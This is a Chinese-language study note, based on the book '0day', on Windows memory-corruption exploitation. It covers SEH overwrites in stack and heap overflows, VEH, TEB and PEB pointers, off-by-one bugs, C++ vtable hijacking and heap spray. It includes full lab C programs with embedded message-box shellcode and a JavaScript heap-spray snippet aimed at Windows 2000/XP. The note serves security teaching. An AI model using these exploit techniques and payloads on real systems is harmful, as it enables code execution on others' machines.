形形色色的内存攻击技术

[toc]

狙击 Windows 异常处理机制

S.E.H 概述

S.E.H 即异常处理结构体(Structure Exception Handler),它包含两个DWORD指针:S.E.H链表指针和异常处理函数句柄。 image-20220418093731897

S.E.H 初步了解

S.E.H 链表: image-20220418095153126

**设计思路:**在系统关闭程序前,给程序一个执行预先设定的回调函数的机会

工作原理: ( 1) S.E.H 结构体存放在系统栈中。 ( 2)当线程初始化时,会自动向栈中安装一个 S.E.H,作为线程默认的异常处理。 ( 3)如果程序源代码中使用了__try{},__except{}或者 Assert 宏等异常处理机制,编译器将最终通过向当前函数栈帧中安装一个 S.E.H 来实现异常处理。 ( 4)栈中一般会同时存在多个 S.E.H。 ( 5)栈中的多个 S.E.H 通过链表指针在栈内由栈顶向栈底串成单向链表,位于链表最顶端的 S.E.H 通过 T.E.B(线程环境块) 0 字节偏移处的指针标识。 ( 6)当异常发生时,操作系统会中断程序,并首先从 T.E.B 的 0 字节偏移处取出距离栈顶最近的 S.E.H,使用异常处理函数句柄所指向的代码来处理异常。 ( 7)当离“事故现场”最近的异常处理函数运行失败时,将顺着 S.E.H 链表依次尝试其他的异常处理函数。 ( 8)如果程序安装的所有异常处理函数都不能处理,系统将采用默认的异常处理函数。通常,这个函数会弹出一个错误对话框,然后强制关闭程序。

利用思路: ( 1) S.E.H 存放在栈内,故溢出缓冲区的数据有可能淹没 S.E.H。 ( 2)精心制造的溢出数据可以把 S.E.H 中异常处理函数的入口地址更改为 shellcode 的起始地址。 ( 3)溢出后错误的栈帧或堆块数据往往会触发异常。 ( 4)当 Windows 开始处理溢出后的异常时,会错误地把 shellcode 当作异常处理函数而执行。

在栈溢出中利用 S.E.H

实验代码即相关介绍

#include <windows.h>
#include <stdio.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";//200 bytes 0x90

DWORD MyExceptionhandler(void)
{
	printf("got an exception, press Enter to kill process!\n");
	getchar();
	ExitProcess(1);
}
void test(char * input)
{
	char buf[200];
	int zero=0;
	__asm int 3 //used to break process for debug
	__try
	{
		strcpy(buf,input); //overrun the stack
		zero=4/zero; //generate an exception
	}
	__except(MyExceptionhandler()){}
}
main()
{
	test(shellcode);
}

代码解释: ( 1)函数 test 中存在典型的栈溢出漏洞,strcpy()函数 ( 2) __try{}会在 test 的函数栈帧中安装一个 S.E.H 结构。 ( 3) __try 中的除零操作会产生一个异常。 ( 4)当 strcpy 操作没有产生溢出时,除零操作的异常将最终被 MyExceptionhandler 函数 处理。 ( 5)当 strcpy 操作产生溢出,并精确地将栈帧中的 S.E.H 异常处理句柄修改为 shellcode 的 入口地址时,操作系统将会错误地使用 shellcode 去处理除零异常,也就是说,代码植入成功。 ( 6)此外,异常处理机制与堆分配机制类似,会检测进程是否处于调试状态。如果直接使用调试器加载程序,异常处理会进入调试状态下的处理流程。因此,我们这里同样采用直接在代码中加入断点_asm int 3,让进程自动中断后再用调试器 attach 的方法进行调试。

**原理:**确定栈帧中 S.E.H 回调句柄的偏移,然后布置缓冲区,淹没这个句柄,将句柄修改为shellcode 的起始位置。

推荐使用的环境备 注
操作系统Windows 2000 虚拟机与实体均可
编译器Visual C++ 6.0
编译选项默认编译选项
build 版本release 版本 必须使用 release 版本进行调试

说明: Windows XP SP2 和 Windows 2003 中加入了对 S.E.H 的安全校验,因此会导致实验失败。

实验步骤

第一步:确定 shellcode 的起始位置 和 S.E.H 回调句柄的偏移

暂时将 shellcode 赋值为一段 0x90,运行代码,如下图所示,shellcode 的起始地址为0x0012fe48 image-20220418111708935

查看所有的 S.E.H 结构的位置和其注册的异常回调函数句柄,依次点击OllyDbg菜单中的 “查看” —> “SEH链” image-20220418112245646 上图显示当前线程安装了 3 个S.E.H,当发生异常时,位于0x0012ff68处的 S.E.H 将第一个被调用

image-20220418112754437 0x0012ff1c处的指针0x004017f8是我们需要修改的异常回调函数句柄。

第二步:组织缓冲区,把0x0012ff1c处的回调句柄修改成 shellcode 的起始地址 0x0012fe48

缓冲区起始地址 0x0012fe48与异常句柄 0x0012ff1c之间共有 212 个字节的间隙。

仍然用弹出 “failwest” 消息框的 shellcode 进行测试,将不足 212 字节的部分用 0x90补齐。缓冲区最后的 4 个字节,即 209~212字节使用 shellcode 的起始地址0x0012fe48填充,来覆盖异常回调函数的句柄;最后删去中断指令__asm int 3

#include <windows.h>
#include <stdio.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x48\xFE\x12\x00";

DWORD MyExceptionhandler(void)
{
	printf("got an exception, press Enter to kill process!\n");
	getchar();
	ExitProcess(1);
}
void test(char * input)
{
	char buf[200];
	int zero=0;
	_try
	{
		strcpy(buf,input); //overrun the stack
		zero=4/zero; //generate an exception
	}
	_except(MyExceptionhandler()){}
}
main()
{
	test(shellcode);
}

运行一下代码,弹出了 “failwest” 消息框,如下图,栈溢出成功 实验结果failwest

这时操作系统错误的使用 shellcode 去处理除零异常,从而使植入代码运行。

在堆溢出中利用 S.E.H

堆溢出发生往往同时伴随着异常产生,所以 S.E.H 通常也是堆溢出 DWORD SHOOT 的目标。

#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block
"\x88\x06\x52\x00"//0x00520688 is the address of shellcode in first
//Heapblock
"\x90\x90\x90\x90";//target of DWORD SHOOT
DWORD MyExceptionhandler(void)
{
	ExitProcess(1);
}
main()
{
	HLOCAL h1 = 0, h2 = 0;
	HANDLE hp;
	hp = HeapCreate(0,0x1000,0x10000);
	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
	memcpy(h1,shellcode,0x200);// over flow here, noticed 0x200 means
	//512 !
	__asm int 3 // uesd to break the process
	__try
	{
		h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	}
	__except(MyExceptionhandler()){}
	return 0;
}

实验思路: ( 1)溢出第一个堆块的数据将写入后面的空闲堆块,在第二次堆分配时发生 DWORD SHOOT。 ( 2)将 S.E.H 的异常回调函数地址作为 DWORD SHOOT 的目标,将其替换为 shellcode 的入口地址,异常发生后,操作系统将错误地把 shellcode 当作异常处理函数而执行。

推荐使用的环境备 注
操作系统Windows 2000 虚拟机和实体机均可。
编译器Visual C++ 6.0
编译选项默认编译选项
build 版本release 版本 必须使用 release 版本进行调试

说明: 即使完全按照推荐的实验环境进行操作, S.E.H 中异常回调函数句柄的地址及 shellcode 的起始地址可能仍然需要在调试中重新确定。

第一步:找到 S.E.H 的位置 和 shellcode 的位置

首先,我们把 DWORD SHOOT 最后 4 个字节的 target 设置为一个无效的内存地址,如0x90909090,让程序触发异常。我们所需要做的就是在程序运行时,找到 S.E.H 的位置,然后把 DWORD SHOOT 的 target 指向 S.E.H 的回调句柄。

在调试前应当确认 OllyDbg 能够捕捉所有的异常,方法是查看菜单“options”下的“debugging option”中“ Exceptions”选项中没有忽略任何类型的异常,如下图所示

image-20220418212828226

然后编译运行代码,程序会自动中断,进入 OllyDbg。在寄存器 EAX 中,显示了HeapAlloc()函数分配的堆的地址,即 shellcode 的起始位置,如下图所示,这里 EAX = 0x00360688 image-20220418220922950

跳过中断后,按 F9 继续运行,DWORD SHOOT 发生后,程序产生异常。OllyDbg 捕捉到异常后会自动中断,如下图所示 image-20220418214132858

这时查看栈中 S.E.H 情况:View —> SEH chain,如下图所示 image-20220418214323855

第二步:组织缓冲区

发现离第一个 S.E.H 位于 0x0012FEEC 的地方,那么异常回调函数的句柄应该位于这个地址后 4 个字节的位置 0x0012FEF0。现在,将 DWORD SHOOT 的目标地址由 0x90909090 改为 0x0012FEF0,去掉程序中的中断指令,重新编译运行。

#include <stdio.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block 
"\x88\x06\x36\x00"//0x00360688 is the address of shellcode in first
					//Heapblock
"\xF0\xFE\x12\x00";//target of DWORD SHOOT
DWORD MyExceptionhandler(void)
{
	ExitProcess(1);
}
main()
{
	HLOCAL h1 = 0, h2 = 0;
	HANDLE hp;
	hp = HeapCreate(0,0x1000,0x10000);
	h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
	memcpy(h1,shellcode,0x200);// over flow here, noticed 0x200 means
	//512 !
	__asm int 3 // uesd to break the process
	__try
	{
		h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
	}
	__except(MyExceptionhandler()){}
	return 0;
}

但是,在我在运行时,有问题,如下图 image-20220419141859603

这里执行了未知指令,也就是F0:FE ,查看内存可以发现,在地址0x0036068C处我们的 shellcode 已经被修改为了F0 FE 12 00。 这就是 DWORD SHOOT 后的 “指针反射” 现象,在双向链表拆除时第二次链表操作导致了 DWORD SHOOT。DWORD SHOOT 把目标地址 0012FEFO 写回 shellcode 起始位置偏移 4 个字节的地方 0036068c

这里我们把 F0 FE 12 00修改为 EB 02 12 00(这里只要能够跳转后一条指令就行),使得 EIP 跳到了0x00360690处开始执行从而避免了指针反射造成的错误,如下图 image-20220419143637686

深入挖掘 Windows 异常处理

(1)不同级别的 S.E.H

异常处理的最小作用域是线程,每个线程都有自己的 S.E.H 链表。

异常处理流程 :线程 —> 进程 —> 系统 —> 终止

  • 首先执行线程中距离栈顶最近的 S.E.H 的异常处理函数。
  • 若失败,则依次尝试执行 S.E.H 链表中后续的异常处理函数。
  • 若 S.E.H 链中所有的异常处理函数都没能处理异常,则执行进程中的异常处理。
  • 若仍然失败,系统默认的异常处理将被调用,其结果是显示错误对话框。

(2)线程的异常处理

线程中异常处理的回调函数的参数返回值(回调函数执行前,操作系统将断点信息压栈):

  • 参数

    • pExcept:指向一个结构体 EXCEPTION_RECORD。该结构体包含了若干 与异常相关的信息,如异常的类型、异常发生的地址等。

    • pFrame:指向栈帧中的 S.E.H 结构体。

    • pContext:指向 Context 结构体。该结构体中包含了所有寄存器的状态。

    • pDispatch:未知用途。

  • 返回值

    • 0 (ExceptionContinueExcetution):代表异常处理成功,将返回原程序发生异常的地方,继续执行。
    • 1 (ExceptinoContinueSearch):代表异常处理失败,将顺着 S.E.H 链表搜索其它可用于异常处理的函数并尝试处理。

线程的异常处理中还有一个叫 unwind 操作

unwind 定义:在异常发生时,系统会顺着 S.E.H链表搜索能处理异常的句柄;一旦找到,系统会把已经遍历过的异常处理函数再调用一遍,这个过程就是 unwind 操作,第二轮调用就是 unwind 调用。

unwind 目的:”通知“ 前面处理异常失败的 S.E.H 释放资源,之后这些 S.E.H 结构体将被从链表中拆除。进而避免进行多次异常处理。

unwind 操作确保了异常处理机制自身的完整性和正确性。下图是一个没有使用 unwind 操作而导致异常处理机制自身产生错误的例子。 image-20220421223548497

异常处理函数第一轮调用,用来处理异常,第二轮的 unwind 调用时,释放资源。那么异常回调函数怎么直到自己是第几轮调用呢?

答案在回调函数的第一个参数 pExcept 所指向的 EXCEPTION_RECORD 结构体。

typedef struct _EXCEPTION_RECORD {
	DWORD ExceptionCode;
	DWORD ExceptionFlags; //异常标志位
	struct _EXCEPTION_RECORD *ExceptionRecord;
	PVOID ExceptionAddress;
	DWORD NumberParameters;
	DWORD ExceptionInformation [EXCEPTION_MAXIMUM_PARAMETERS];
} EXCEPTION_RECORD;

当 ExceptionCode = 0xC0000027(STATUS_UNWIND),ExceptionFlags = 2(EH_UNWINDING) 时,对回调函数的调用就属于 unwind 调用。

unwind 操作通过 kernerl.32 中的一个导出函数 RtlUnwind 实现,实际上 kernel32.dll 会转而再去调用 ntdll.dll 中的同名函数。

void RtlUnwind(
	PVOID TargetFrame,
	PVOID TargetIp,
	PEXCEPTION_RECORD ExceptionRecord,
	PVOID ReturnValue
);

**补充:**在使用回调函数之前,系统会判断当前是否处于调试状态,如果处于调试状态,将把异常交给调试器处理。

(3)进程的异常处理

进程的异常处理回调函数需要通过 API 函数 SetUnhandledExceptionFilter 来注册 。

LPTOP_LEVEL_EXCEPTION_FILTER SetUnhandledExceptionFilter(
LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter
);

提示: 您可以简单地把线程异常处理对应为代码中的__try{} __ except(){}或者 Assert等语句,把进程的异常处理对应于函数 SetUnhandledExceptionFilter。

进程的异常处理函数的返回值

  • 1( EXCEPTION_EXECUTE_HANDLER):表示错误得到正确的处理,程序将退出。
  • 0( EXCEPTION_CONTINUE_SEARCH):无法处理错误,将错误转交给系统默认的异常处理。
  • -1( EXCEPTION_CONTINUE_EXECUTION):表示错误得到正确的处理,并将继续执行下去。类似于线程的异常处理,系统会用回调函数的参数恢复出异常发生时的断点状况,但这时引起异常的寄存器值应该已经得到了修复。

(4)系统默认的异常处理 U.E.F

系统默认的异常处理函数 UnhandledExceptionFilter(),简称 【U.E.F】UnhandledExceptionFilter() 将首先检查注册表 HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\AeDebug 下的表项,如下图所示。 image-20220421231555943

路径下的 Auto 表项代表是否弹出错误对话框,值为 1 表示不弹出错误对话框直接结束程序,其余值均会弹出提示错误的对话框。 注册表的 Debugger 指明了系统默认的调试器,在错误框弹出后,如果您选择调试,UnhandledExceptionFilter 就会按照这里的命令加载相应的调试器。

(5)异常处理流程的总结

windows 2000 异常处理的基本流程

  • CPU 执行时发生并捕获异常,内核接过进程的控制权,开始内核态的异常处理。
  • 内核异常处理结束,将控制权还给 ring3。
  • ring3 中第一个处理异常的函数是 ntdll.dll 中的 KiUserExceptionDispatcher()函数。
  • KiUserExceptionDispatcher()首先检查程序是否处于调试状态。如果程序正在被调试,会将异常交给调试器进行处理。
  • 在非调试状态下,KiUserExceptionDispatcher() 调用 RtlDispatchException()函数对线程的 S.E.H 链表进行遍历,如果找到能够处理异常的回调函数,将再次遍历先前调用过的 S.E.H 句柄,即 unwind 操作,以保证异常处理机制自身的完整性。
  • 如果栈中所有的 S.E.H 都失败了,且用户曾经使用过 SetUnhandledExceptionFilter()函数设定进程异常处理,则这个异常处理将被调用,即调用用户自定义进程异常处理函数
  • 如果用户自定义的进程异常处理失败,或者用户根本没有定义进程异常处理,那么系统默认的异常处理 UnhandledExceptionFilter()将被调用。 U.E.F 会根据注册表里的相关信息决定是默默地关闭程序,还是弹出错误对话框。

其它异常处理机制的利用思路

V.E.H 利用

从 Windows XP 开始,在原来的异常处理机制上增加了一种新的异常处理V.E.H ( Vectored Exception Handler,向量化异常处理 )。

V.E.H 要点:

(1)V.E.H 使用 API 注册回调函数。

PVOID AddVectoredExceptionHandler(
	ULONG FirstHandler,
	PVECTORED_EXCEPTION_HANDLER VectoredHandler
);

(2)V.E.H 结构

struct _VECTORED_EXCEPTION_NODE
{
	DWORD m_pNextNode;
	DWORD m_pPreviousNode;
	PVOID m_pfnVectoredHandler;
}

(3)可以注册多个 V.E.H,V.E.H结构体间串成双向链表,保存在堆中。

(4)调用顺序:KiUserExceptionDispatcher() 首先检查是否被调试,然后检查 V.E.H 链表,最后检查 S.E.H 链表。

(5)注册 V.E.H 时,可以指定其在链表中的位置,不必像 S.E.H 按照注册顺序压栈。

(6)unwind 操作只对栈帧中的 S.E.H链起作用,不涉及 V.E.H

**V.E.H 利用思路:**如果能用堆溢出的 DWORD SHOOT 修改指向 V.E.H 头结点的指针,在异常处理开始后,就能引导程序执行 shellcode 了。

标识 V.E.H 链表头节点的指针位于 0x77FC3210

攻击 TEB 中的 S.E.H 头节点

**攻击思路:**线程的 S.E.H 链通过 TEB 的第一个 DWORD 标识(fs:0),这个指针永远指向离栈顶最近的那个 S.E.H。如果能够修改 TEB 中的这个指针,在异常发生时就能将程序引导到 shellcode 中去执行。

TEB(线程环境块)要点:

(1)一个进程可能同时存在多个线程。

(2)每个线程都有一个线程环境块 TEB。

(3)第一个 TEB 开始于 0x7FFDE000

(4)之后新建线程的 TEB 紧随前边的 TEB ,相隔 0x1000字节,并向内存低址方向增长。

(5)当线程退出时,对应的 TEB 也被销毁,腾出的 TEB 空间可以被新建的线程重复使用。
image-20220423170845384

攻击 TEB 中 S.E.H 头节点的方法一般用于单线程的程序,不适合攻击多线程的程序,是因为,多线程的 TEB 很难判断到底是哪一个线程的。

攻击U.E.F

U.E.F【UnhandledExceptionFilter()】即系统默认的异常处理函数,是系统处理异常的最后一个环节。

由于 U.E.F 句柄在不同操作系统和补丁版本下可能不同,所以在攻击前需要确定 U.E.F 句柄,即反汇编(用IDA)kernel32.dll 中的导出函数 SetUnhandledExceptionFilter()。

补充:U.E.F 利用时,结合使用跳板技术能使 exploit 成功率更高。

异常发生时,EDI 往往仍然指向堆中离 shellcode 不远处,把 U.E.F 的句柄覆盖成一条 call dword ptr [edi+0x78]的指令地址往往能让程序跳到 shellcode 中。其它具有定位 shellcode 的指令:

call dword ptr [ESI+0x4C]
call dword ptr [EBP+0x74]

此外,EDI的跳转并不能保证百分之百成功。

攻击 PEB 中的函数指针

PEB 的位置永远不变。

上一次堆溢出的最后一个实验中,通过 DWORD SHOOT 修改 PEB 中函数地址,那么当调用函数时,程序就被我们引导去执行 shellcode 代码。

“off by one” 的利用

Halvar Flake 在“ Third Generation Exploitation”中,按照攻击的难度把漏洞利用技术分成 3个层次。 ( 1)第一类是基础的栈溢出利用。攻击者可以利用返回地址等轻松劫持进程,植入 shellcode,例如,对 strcpy、 strcat 等函数的攻击等。 ( 2)第二类是高级的栈溢出利用。这时,栈中有诸多的限制因素,溢出数据往往只能淹没部分的 EBP,而无法抵达返回地址的位置。这种漏洞利用的典型例子就是对 strncpy 函数误用时产生的 “off by one” 漏洞的利用。 ( 3)第三类攻击则是堆溢出利用及格式化串漏洞的利用

off by one 的利用代码示例:

void off_by_one(char * input)
{
	char buf[200];
	int i=0,len=0;
	len=sizeof(buf);
	for(i=0; input[i]&&(i<=len); i++) //这里应该是i<len
	{
		buf[i]=input[i];
	}
……
}

第 6 行代码中,循环条件中的i<=len就给攻击者一个字节的溢出机会。这种边界控制上的错误就是 “off by one” 问题。

这时,如果缓冲区后面紧跟着 EBP 和返回地址,那么这溢出的一个字节,将有机会覆盖 EBP 的最低位字节,也就是说我们能在255个字节的范围内移动 EBP,让程序执行我们指定位置的恶意代码。

image-20220419215423173

此外,off by one 可能破坏重要的临界变量,从而导致程序流程改变,或者整数溢出等更深层次的问题。

攻击 C++ 的虚函数

虚函数与虚表的要点: ( 1)用关键字 virtual 修饰声名的类成员函数,叫虚函数

​ ( 2)一个类用可能有多个虚函数

​ ( 3)虚表(vatable)中保存着类的所有虚函数的入口地址。

​ ( 4)对象使用虚函数时,先通过虚表指针找到虚表,然后从虚表中找到虚函数的入口地址。

​ ( 5)虚表指针保存在对象的内存空间中,与其它成员变量相邻。

​ ( 6)虚函数只有通过对象指针的引用才能显示其动态调用的特性。

image-20220419215625216

如果能溢出对象的成员变量,就有机会修改虚表指针或修改虚表中的虚函数指针,从而运行 shellcode

实现代码即相关说明

表 6-3-1 实验环境

推荐使用的环境备 注
操作系统Windows XP SP2其他 Win32 操作系统也可进行本实验
编译器Visual C++ 6.0
编译选项默认编译选项
build 版本release 版本

说明: 伪造的虚表指针和虚函数指针依赖于实验机器,可能需要通过动态调试重新确定,您也可以通过在程序中简单地打印出 overflow.buf 的地址,从而计算出这两个值

#include "windows.h"
#include "iostream.h"
#include "stdio.h"

char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x44\xE2\x42\x00";//set fake virtual function pointer

class Failwest
{
public:
	char buf[200];
	virtual void test(void)
	{
		cout<<"Class Vtable::test()"<<endl;
	}
};
Failwest overflow, *p;
void main(void)
{
	char * p_vtable;
	printf("%p\n",overflow.buf);
	p_vtable=overflow.buf-4;//point to virtual table
	//__asm int 3
	//reset fake virtual table to 0x004088cc
	//the address may need to ajusted via runtime debug
	p_vtable[0]=0xf4;
	p_vtable[1]=0xe2;
	p_vtable[2]=0x42;
	p_vtable[3]=0x00;
	strcpy(overflow.buf,shellcode);//set fake virtual function pointer
	p=&overflow;
	p->test();
}

代码说明: ( 1)虚表指针位于 char buf[200] 之前,通过 p_vtable = overflow.buf - 4 定位这个指针。

​ ( 2)修改虚表指针指向缓冲区的 0x0042e2f4 处,把0x0042e2f4里存放的内容当作虚函数指针,即0042e244

​ ( 3)程序执行到 p->rest() 时,将会把0x0042e2f4处的内容取出,即 0x0042e244 ,然后把它当作函数的入口地址,进而去执行 0x0042e244 处的指令,即我们的 shellcode 代码。

image-20220419221608706

运行程序后出现的结果:

image-20220420100115219

由于虚表指针位于成员变量前,溢出只能向后覆盖数据,所以这种利用方式在 “数组溢出”或“连续性覆盖” 的场景下有局限。

当然,如果内存中有多个对象且能溢出到下一个对象空间中去,“连续性覆盖” 还是有攻击机会的,如下图 image-20220420104319811

Heap Spray:堆与栈的协同攻击

攻击浏览器时,常常结合使用堆和栈的协同利用漏洞。

(1)当浏览器或插件中存在溢出漏洞时,攻击者就可以生成一个特殊的 HTML 文件来触发这个漏洞。

(2)漏洞触发后最终都能获得 EIP

(3)有时我们很难在浏览器中布置完整的 shellcode

(4)JavaScript 可以申请堆内存,所以,把 shellcode 通过 JavaScript 布置在堆中。

如何定位 shellcode 呢?Heap Spray 技术就是为了解决这个问题。

**攻击思路:**在使用 Heap Spray时,一般会人为的把 EIP 指向堆区的 0x0C0C0C0C 位置,然后用 JavaScript 申请大量堆内存,并用包含着 0x90 和 shellcode 的 ”内存片“ 覆盖这些内存。

JavaScript 会从内存低址向高址分配内存,因此申请内存超过 200MB(200MB = 200*1024*1024 = 0x0C800000 > 0x0C0C0C0C)后,0x0C0C0C0C 将被含有 shellcode 的内存片覆盖。只要 0x90 能命中 0x0C0C0C0C 的位置,shellcode 最终就能执行。 image-20220423205602972

使用下面 JavaScript 代码产生的内存片来覆盖内存。

var nop=unescape("%u9090%u9090");
while (nop.length<= 0x100000/2)
{
	nop+=nop;
}//生成一个 1MB 大小充满 0x90 的数据块
nop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2 );
var slide = new Arrary();
for (var i=0; i<200; i++)
{
	slide[i] = nop + shellcode
}

代码说明:

(1)每个内存片大小为 1MB

(2)首先产生一个大小为 1MB 且全部被 0x90 填满的内存。

(3)由于 JavaScript 会为申请到的内存填上一些额外的信息,为了保证内存片恰好是 1MB,我们将这些额外信息所占的空间减去。

额外信息SIZE说 明
malloc header32 bytes堆块信息
string length4 bytes表示字符串长度
terminator2 bytes字符串结束符,两个字节的 NULL

(4)最终我们将使用 200 个这种形式的内存片来覆盖堆内存,只要其中任意一片的 nop 区能够覆盖 0x0C0C0C0C,攻击就可以成功

image-20220423210203879

**为什么采用 1MB 大小作为内存片的单位呢?**在 Heap Spray 时,内存片相对于 shellcode 和额外的内存信息来说应该“足够大”,这样 nop 区域命中 0x0C0C0C0C 的几率将相对增加;如果内存片较小, shellcode 或额外的内存信息将有可能覆盖 0x0C0C0C0C,导致溢出失败。 1MB的内存相对于 200 字节左右的 shellcode,可以让 exploit 拥有足够的稳定性。

参考:《0day,软件安全漏洞分析技术》